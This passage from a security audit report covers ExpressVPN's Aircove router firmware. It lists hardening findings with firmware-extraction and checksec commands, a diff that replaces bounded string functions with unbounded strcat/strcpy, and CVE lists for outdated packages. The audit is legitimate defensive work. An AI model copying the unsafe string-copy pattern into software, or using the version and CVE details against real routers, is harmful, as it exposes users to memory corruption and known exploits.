- /usr/libexec/cove-api-client
- /usr/libexec/cove-api-client-lowmem
- /usr/sbin/lightway

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

To reproduce these issues, one can utilize the *binwalk*[14], *unsquashfs*[15] and *check-sec*[16] tools, while the following commands verify the lack of *FORTIFY_SOURCE* and stack canaries:

**Commands:**

```
$ binwalk -eM expressvpn_router_5.1.0.4787_beta_aircove-ax1800.img
$ cd extractions/expressvpn_router_5.1.0.4787_beta_aircove-
ax1800.img.extracted/9C3B4/ubifs-root/ubi_9C3B4.img/
$ unsquashfs img-383487633_vol-ubi_rootfs.ubifs
$ cd squashfs-root
$ cat <<EOF | xargs -I{} sh -c 'checksec --file={} --format=csv | cut -d',' 
-f2,8,10,11'
./usr/libexec/cove-api-client
./usr/libexec/cove-api-client-lowmem
./usr/libexec/cove-runtime
./usr/sbin/dnsmasq
./usr/sbin/lightway
./usr/bin/dns-filter-cdb
EOF
// STACK CANARY, FORTIFY, Fortifiable, FILE
No Canary found,N/A,0,./usr/libexec/cove-api-client
No Canary found,N/A,0,./usr/libexec/cove-api-client-lowmem
Canary found,No,23,./usr/libexec/cove-runtime
Canary found,No,21,./usr/sbin/dnsmasq
No Canary found,N/A,0,./usr/sbin/lightway
Canary found,No,10,./usr/bin/dns-filter-cdb
```

To mitigate this issue, Cure53 advises fortifying all binaries using the *-D_FORTIFY_SOURCE=2* argument and enabling stack canaries by using the *-fstack-protector-strong* or *-fstack-protector* argument.

[14] https://github.com/ReFirmLabs/binwalk
[15] https://manpages.debian.org/testing/squashfs-tools/unsquashfs.1.en.html
[16] https://github.com/slimm609/checksec

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

## EXP-17-004 WP1: SELinux disabled *(Info)*

**CVSS Score:** 0.0
**CVSS String:** -
**CWE:** https://cwe.mitre.org/data/definitions/693.html

***Note from ExpressVPN**: As reflected in Cure53's assessment, the issue has a limited scope of impact on Aircove. Implementing changes introduces significant complexity to managing and using Aircove, with minimal benefits. Hence, the current implementation was maintained to preserve simplicity and usability.*

Testing confirmed that the Aircove firmware fails to utilize SELinux, a security feature that enforces mandatory access controls to limit and isolate processes on the system. SELinux ensures that all services and applications run with greater access restrictions, which could limit the impact of vulnerability exploitation.

As shown below, neither the SELinux configuration file nor the SELinux pseudo-filesystem is available, indicating that SELinux is disabled.

**Commands (on Aircove router):**
```
root@Aircove-8e5:~# ls /etc/selinux/config
ls: /sys/fs/selinux/: No such file or directory
root@Aircove-8e5:~# ls /sys/fs/selinux/
ls: /sys/fs/selinux/: No such file or directory
```

To mitigate this issue, Cure53 recommends enabling SELinux and applying a SELinux policy according to the principle of least privilege, asserting that each service is only able to access the resources and permissions required for essential operations.

## EXP-17-005 WP1: Usage of insecure C functions in U-Boot-tools *(Info)*

**CVSS Score:** 0.0
**CVSS String:** -
**CWE:** -

***Fix Note**: The issue was addressed by the ExpressVPN team and the fix was verified by Cure53 who were able to review the related diff & PR. The issue no longer exists.*

Cure53's source code audit of the U-Boot-related code in the Aircove firmware repository revealed that the internal team has applied a custom patch to the sysupgrade tool within the U-Boot repository. However, the patch has replaced the safer *strlcat* and *strlcpy* functions with the less secure *strcat* and *strcpy* functions, which lack bounds checking. While this does not incur any direct security impact on the sysupgrade tool, the function downgrade is considered unnecessary and the alteration essentially degrades the tool's overall security posture.

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

**Affected file:**
*xv_router_firmware/meta-common/u-boot-tools/files/patches/quick-fix-dumpimage.patch*

**Affected code:**

```
-                                   strlcat(sec->tmp_file, file->d_name,
-                                                   sizeof(sec->tmp_file));
+                                   strcat(sec->tmp_file, file->d_name);
[...]
-                                   strlcat(sec->file, file->d_name,
-                                                   sizeof(sec->file));
+                                   strcat(sec->file, file->d_name);
[...]
-                                   strlcat(sec->tmp_file, file->d_name,
-                                                   sizeof(sec->tmp_file));
+                                   strcat(sec->tmp_file, file->d_name);
[...]
-                                   strlcat(sec->file, file->d_name,
-                                                   sizeof(sec->file));
+                                   strcat(sec->file, file->d_name);
[...]
-                   strlcpy(value, &buffer[i - size], size);
+                   strcpy(value, &buffer[i - size]);
[...]
-      strlcpy(sw_file, tmp, 32);
+      strcpy(sw_file, tmp);
[...]
-      strlcpy(hw_file, tmp, 32);
+      strcpy(hw_file, tmp);
```

To mitigate this issue, Cure53 recommends removing the patch in question if feasible and alternatively reverting to the original U-Boot code, which would bolster the wider security posture.

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

## EXP-17-006 WP1/2: Outdated and vulnerable packages *(Info)*

**CVSS Score:** 0.0
**CVSS String:** -
**CWE:** -

***Fix Note**: The issue was addressed by the ExpressVPN team and the fix was verified by Cure53 who were able to review the related diff & PR. The issue no longer exists.*

During the security assessment, the observation was made that the dnsmasq software and additional packages leveraged an outdated version that is vulnerable to a host of security risks. Notably, the version information provided is based on data collected at the time of testing. Whether these vulnerabilities are exploitable entirely depends on how the relevant functionality is used in the targeted application at present.

**Command (on Aircove router):**

```
root@Aircove-06d:~# dnsmasq -v
Dnsmasq version 2.89  Copyright (c) 2000-2022 Simon Kelley
[...]
```

**CVEs - Dnsmasq tool v2.89:**

- *https://nvd.nist.gov/vuln/detail/CVE-2023-50387*
- *https://nvd.nist.gov/vuln/detail/CVE-2023-28450*

**Command (xv_router_ui):**

```
% npm audit
http-proxy-middleware  <2.0.7
Severity: high
Denial of service in http-proxy-middleware -
https://github.com/advisories/GHSA-c7qv-q95q-8v27
fix available via `npm audit fix`
node_modules/http-proxy-middleware
```

**CVE - http-proxy-middleware v2.0.6:**
*https://nvd.nist.gov/vuln/detail/CVE-2024-21536*

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

**Command (on Aircove router):**

```
root@Aircove-8e51:~# busybox
BusyBox v1.36.1 (2024-10-23 13:40:38 UTC) multi-call binary.
[...]
```

**CVEs - BusyBox v1.36.1:**

- *https://www.cve.org/CVERecord?id=CVE-2023-42364*
- *https://www.cve.org/CVERecord?id=CVE-2023-42365*
- *https://www.cve.org/CVERecord?id=CVE-2023-42366*

Due to time constraints, it was not feasible to definitively assess the exploitability of the identified vulnerabilities. Consequently, the broader impact of these findings remains undetermined and warrants further internal investigation.

Establishing a robust supply chain security posture is generally considered a complex challenge. While comprehensive solutions may not always be readily available, the selection of a suitable protection framework can significantly mitigate risks. The effectiveness of such frameworks can vary depending on the specific libraries and their integrated versions.

To mitigate the existing issues as effectively as possible, Cure53 recommends upgrading the affected software and establishing a policy to ensure third-party dependencies remain up-to-date moving forward.

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

## Conclusions

*EXP-17* represents the second security evaluation of the ExpressVPN Aircove firmware and a continuation of an ongoing series of Cure53 assessments for various ExpressVPN components, including the *lightway* protocol, Linux, Windows, and mobile clients, the ExpressVPN browser extension, and ExpressVPN TrustedServer. The initial evaluation of the Aircove firmware was conducted over the course of three calendar weeks (CW25 to CW27) in 2022, with a total of 32 days allocated to the effort. For this project, thirty-six days were dedicated to ensure extended coverage and thorough analysis.

Three distinct work packages were compiled, pertaining to the Aircove firmware (WP1), Aircove UI and frontend (WP2), and security assessments of relevant OpenWRT sources (WP3). All necessary sources were supplied by ExpressVPN. Additionally, Cure53 was granted access to two Aircove routers and two Aircove Go routers, which served as the primary testing platform. Access to this hardware was fundamental for meticulous and effective assessments that would not otherwise have been feasible.

The codebases encompassed a variety of platforms and technologies. Several backend functionalities were implemented using MoonScript, a scripting language built on Lua. The UI frontend is constructed with Vue.js components, supported by backend implementations in C and Lua. Core router functionalities are based on the Qualcomm SDK and OpenWRT. Custom extensions to this platform have been developed and integrated as additional patches, enhancing its capabilities beyond the default framework.

Cure53 was able to identify three vulnerabilities and five miscellaneous issues, though the Aircove ecosystem has evidently been implemented with security in mind, proving capable of handling a swathe of common attacks. In order to provide detailed insights into the test coverage, a separate Test Methodology section has been included in this report.

ExpressVPN provided two focus areas in a scoping document for this assignment, described as follows:

The primary focus area was the protection of customer personally identifiable information (PII) and the integrity of the router itself. Threats such as RCE, IP address or DNS leakage, logging of PII, and potential compromise of firmware during the update process were all explored. Key aspects of this evaluation include the firmware, boot-loader, management UI, and the integration of VPN protocols with the firmware.

The secondary focus area was a review of third-party dependencies. Notably, Cure53 refrained from conducting white-box assessments on these items, as requested by the internal maintainers.

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

In summation, the Aircove router received an admirable final verdict. The review encompassed C code, MoonScript and JavaScript implementations, and an assessment of general best practices regarding firmware security. None of the detected flaws exceeded an impact score of *Medium*, indicating close adherence to secure development principles.

Cure53 would now like to discuss the pertinent discoveries and observations for each work package.

## WP1: Firmware

The firmware audit of the Aircove devices conformed with the OWASP IoT Security Testing Guide, whereby Cure53 particularly scrutinized the firmware (ISTG-FW) aspects.

Several defects were identified during the assessment of the Aircove router's Linux system pertaining to general hardening measures. While these do not pose immediate security risks, addressing them is strongly recommended to elevate the system's overall security posture.

For example, the Aircove system fails to optimally leverage current security mechanisms that will significantly hinder exploitation attempts, such as binary protection flags (see EXP-17-003). Additionally, the firmware neglects to adopt sandboxing features such as SELinux (see EXP-17-004) or downgrade the privileges of the LAN-facing web services to non-*root* user (see EXP-17-002). These improvements should be installed to fortify defense-in-depth.

Cure53 confirmed that the reviewed codebase exhibits a steadfast security posture under the current setup. However, several minor faults and enhancement opportunities were identified. Certain insecure C functions were also utilized in the patch set concerning U-Boot-tools (see EXP-17-005). While these functions do not pose an immediate threat, their presence highlights erroneous behaviors that could manifest under specific circumstances or future updates. Fixing these detriments in a proactive manner will help to solidify the system's security.

Lastly, Cure53 acknowledged that several Lua dependencies in use are no longer actively maintained, which could potentially lead to security vulnerabilities at a later date. Additionally, one package was outdated and thus did not include a patch for a known vulnerability (see EXP-17-008). All dependencies must be actively maintained and regularly updated to avoid associated hazards and guarantee a secure software supply chain.

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

## WP2: UI & Frontend

The firmware audit of the Aircove devices adhered to the OWASP IoT Security Testing Guide, with the audit team honing in on the firmware (ISTG-UI) aspects specifically.

For the *uapi*, Cure53 recommends implementing stricter input validation across all endpoints. While most of these circumstances could not be exploited, platform safeguarding could be compromised by the risk of invalid values being injected into the program state. This includes cases whereby security depends on length and content validation within the backend.

Although the current validation approach is secure, inconsistencies may lead to problems in the future if backend developers assume that input validation is already handled with the arrival of the request at the API endpoints. One example in this area is outlined in ticket EXP-17-001, whereby an absent length check in the *uapi* results in a DoS vector.

Lastly, testing verified that the *uapi* provides API functionalities intended specifically for a developer mode. However, the code analysis indicated that this developer mode is always active. Although no vulnerabilities were identified that could exploit the developer-related functionalities, disabling this feature by default would significantly reduce potential attack vectors and enhance overall security.

## WP3: OpenWRT

Cure53's initiatives here ascertained that the reliance on OpenWRT as the firmware foundation is a sound decision from a security perspective. OpenWRT's architecture and security practices provide a stable and well-established basis, ensuring resilience against a vast array of plausible vulnerabilities. Moreover, its modularity and active community support boosts the security foundation, making it a reliable choice for custom firmware development.

The modifications introduced by ExpressVPN to the OpenWRT codebase were minimal and limited to low-level alterations, restricting the proliferation of security weaknesses and incurring negligible impact on the inherent robustness of OpenWRT's architecture. The implementation demonstrated careful consideration to maintain compatibility and uphold security best practices, ensuring the integrity of the firmware's foundational security features.

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

In conclusion, this Q4 2024 exercise achieved diligent coverage over the scope defined by ExpressVPN. Although no *Critical* or *High* severity vulnerabilities were discovered, resolving all identified limitations and incorporating the recommended hardening measures will ultimately strengthen the overall security posture of the Aircove platform.

Pertinently, this audit focused on only a subset of software components. For advanced threat scenarios, such as those involving nation-state attackers, Cure53 strongly recommends conducting targeted security reviews on specific elements or performing holistic examinations on a regular basis. These should be conducted at least annually or following substantial system changes to ensure that the platform maintains a high level of security assurance.

Cure53 would like to thank Jonathan Hooper, Harsh S, Brian Schirmacher, David Gilbert, and Mariappan Ramasamy from the ExpressVPN team for their excellent project coordination, support, and assistance, both before and during this assignment.